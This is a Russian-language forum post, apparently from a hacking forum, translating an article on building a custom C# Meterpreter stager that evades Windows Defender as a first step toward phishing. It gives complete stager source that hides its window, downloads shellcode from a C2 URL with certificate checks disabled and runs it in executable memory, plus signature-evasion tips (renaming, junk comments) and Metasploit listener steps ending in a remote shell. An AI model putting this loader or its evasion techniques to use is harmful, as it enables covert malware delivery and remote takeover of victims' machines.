• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Phishing a Payload Part 1: Using a Custom C# Meterpreter Stager to Bypass Windows Defender

Такие инструменты, как Защитник Windows, в значительной степени полагаются на совпадения сигнатур для выявления вредоносных полезных нагрузок и артефактов, которые могут оказаться на компьютере пользователя. Хотя эти средства контроля с годами улучшились, различные методы уклонения от защиты позволяют злоумышленникам постоянно подрывать такие обнаружения. Одним из таких обходных путей является разработка кастомного стейджера.

Стейджер — это просто небольшая часть программного обеспечения, которая загружает второй кусок вредоносного ПО. Он используется, чтобы избежать обнаружения на передовой, например антивирусного программного обеспечения. Наиболее часто используемые платформы C2, такие как Metasploit, Cobalt Strike и другие, имеют такие встроенные возможности, позволяющие быстро развертывать маячки C2, когда это необходимо. К сожалению для пентестеров, большинство из них хорошо известны стражам защиты, таким как Защитник Windows, и поэтому их легко обнаружить.

Возьмем следующий пример: поэтапная полезная нагрузка Meterpreter генерируется автоматически с использованием msfvenom (часть бесплатного фреймворка Metasploit с открытым исходным кодом):

Посмотреть вложение 37270

Результатом является поэтапная полезная нагрузка, которая будет использовать протокол HTTPS для связи и отправки команд на компьютер-жертву с сервера C2. Однако после переноса на компьютер с Windows 10 с запущенным Microsoft Defender стейджер немедленно обнаруживается:

Посмотреть вложение 37271

Такие инструменты, как DefenderCheck (https://github.com/matterpreter/DefenderCheck), позволяют пользователю видеть, что именно Защитник Windows идентифицирует как вредоносное в исполняемом файле. При запуске против полезной нагрузки генерируется вывод, который точно определяет конкретное место в полезной нагрузке, которое вызывает предупреждение:

Посмотреть вложение 37272

Из этого вывода может показаться, что виноват веб-запрос, использующий строку пользовательского агента Meterpreter по умолчанию. Одним из возможных обходных путей для такого обнаружения является повторение каждого обнаружения и модификация стейджера до тех пор, пока не будет больше совпадений сигнатур. Другая возможность включает в себя разработку пользовательского стейджера, а не стандартного стейджера Meterpreter.

Для этого пользователь должен сначала определить URI, к которому стейджер обращается за своей вторичной полезной нагрузкой. Используя инструмент Python под названием Twistd3, пользователь может перехватывать HTTPS-трафик и видеть, с каким ресурсом связывается стейджер. Сначала необходимо сгенерировать пару сертификатов HTTPS с помощью OpenSSL, а затем вызвать Twistd3, используя эту пару ключей, для прослушивания входящих подключений. Для этого сначала сгенерируйте закрытый ключ:

Посмотреть вложение 37273

Затем создайте связанный открытый ключ, используя закрытый ключ, только что сгенерированный для связи по протоколу HTTPS:

Посмотреть вложение 37274

Затем прослушиватель HTTPS настраивается с помощью Twistd3 для перехвата запроса стейджера:

Посмотреть вложение 37275

При создании стейджера TCP-порт 25005 был определен как порт, который будет использоваться в полезной нагрузке. Таким образом, необходимо установить правило переадресации портов, чтобы передать соединение на адрес локальной сети, который прослушивает TwistD3. Как только это правило станет активным, вернитесь к тестовой машине и выполните полезную нагрузку:

Посмотреть вложение 37276

Возвращаясь к слушателю Twistd3, мы идентифицируем ресурс, который пытается найти стейджер:

Посмотреть вложение 37277

На приведенном выше снимке экрана показан запрос GET для довольно длинной строки; это место, которое Meterpreter будет прослушивать для стейджера, чтобы вытащить и выполнить вредоносную вторичную полезную нагрузку. Теперь, когда это определено, его можно использовать в пользовательском стейджере.

Для этого начните с некоторого шаблонного кода C# (приведен ниже), который будет выделять память для вредоносного кода, отправлять веб-запрос, а затем выполнять этот код в том же процессе.

Посмотреть вложение 37278

C#:
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Termak
{
    //Junk comments


    //Junk comments

   [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lppermUpgrade);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int cmdShow);


    //Junk comments
    public static void Main()
    {
        IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
        ShowWindow(h, 0);

        while (true)
        {
            System.Threading.Thread.Sleep(1);
            string progLoc = "https://c2domain.com:8080/resource";
            addFunc(progLoc);
        }
    }

    public static void addFunc(string progLoc)
    {

        WebClient wc = new WebClient();
        wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36");
        ServicePointManager.Expect100Continue = true;
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

        byte[] stromBolicode = wc.DownloadData(progLoc);

        UInt32 forStoppage = VirtualAlloc(0, (UInt32)stromBolicode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(stromBolicode, 0, (IntPtr)(forStoppage), stromBolicode.Length);
        IntPtr jokMarkingCalc = IntPtr.Zero;
        UInt32 permUpgrade = 0;
        IntPtr optionOne = IntPtr.Zero;
        jokMarkingCalc = CreateThread(0, 0, forStoppage, optionOne, 0, ref permUpgrade);
        WaitForSingleObject(jokMarkingCalc, 0xFFFFFFFF);

    }

}

На приведенном выше снимке экрана запрос GET изменен таким образом, что он обращается к домену, контролируемому злоумышленником, и указывает на IP-адрес C2 путем изменения записи DNS "A".

Кроме того, строку пользовательского агента следует изменить вместе с именами переменных и именами классов на тот случай, если Защитник Windows видел аналогичный код в прошлом и сгенерировал для него подписи. Также вставляются "Junk comments", чтобы еще больше скрыть истинное намерение стейджера:

Посмотреть вложение 37279


Посмотреть вложение 37280

После завершения исходный код сохраняется и готов к компиляции. К счастью, сегодня C# широко используется, и компилятор есть на всех машинах, где работает платформа .NET.

Посмотреть вложение 37281

Теперь возвращаемся к машине с Kali Linux и запускаем Metasploit Framework:

Посмотреть вложение 37282

После загрузки поэтапная полезная нагрузка Windows x64 используется со следующими установленными параметрами:

Посмотреть вложение 37283

Введите exploit , и слушатель запустится:

Посмотреть вложение 37284

Полезная нагрузка выполняется на конечной точке:

Посмотреть вложение 37285

Открывается оболочка Meterpreter:

Посмотреть вложение 37286

При успешном выполнении проверьте, чтобы Защитник Windows не оповещал о нашей атак:

Посмотреть вложение 37287

Когда у вас будет рабочая полезная нагрузка, вы можете перейти к созданию фишинговой компании, чтобы запустить ее! Эта статья скоро появится...
Thank you for translating
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх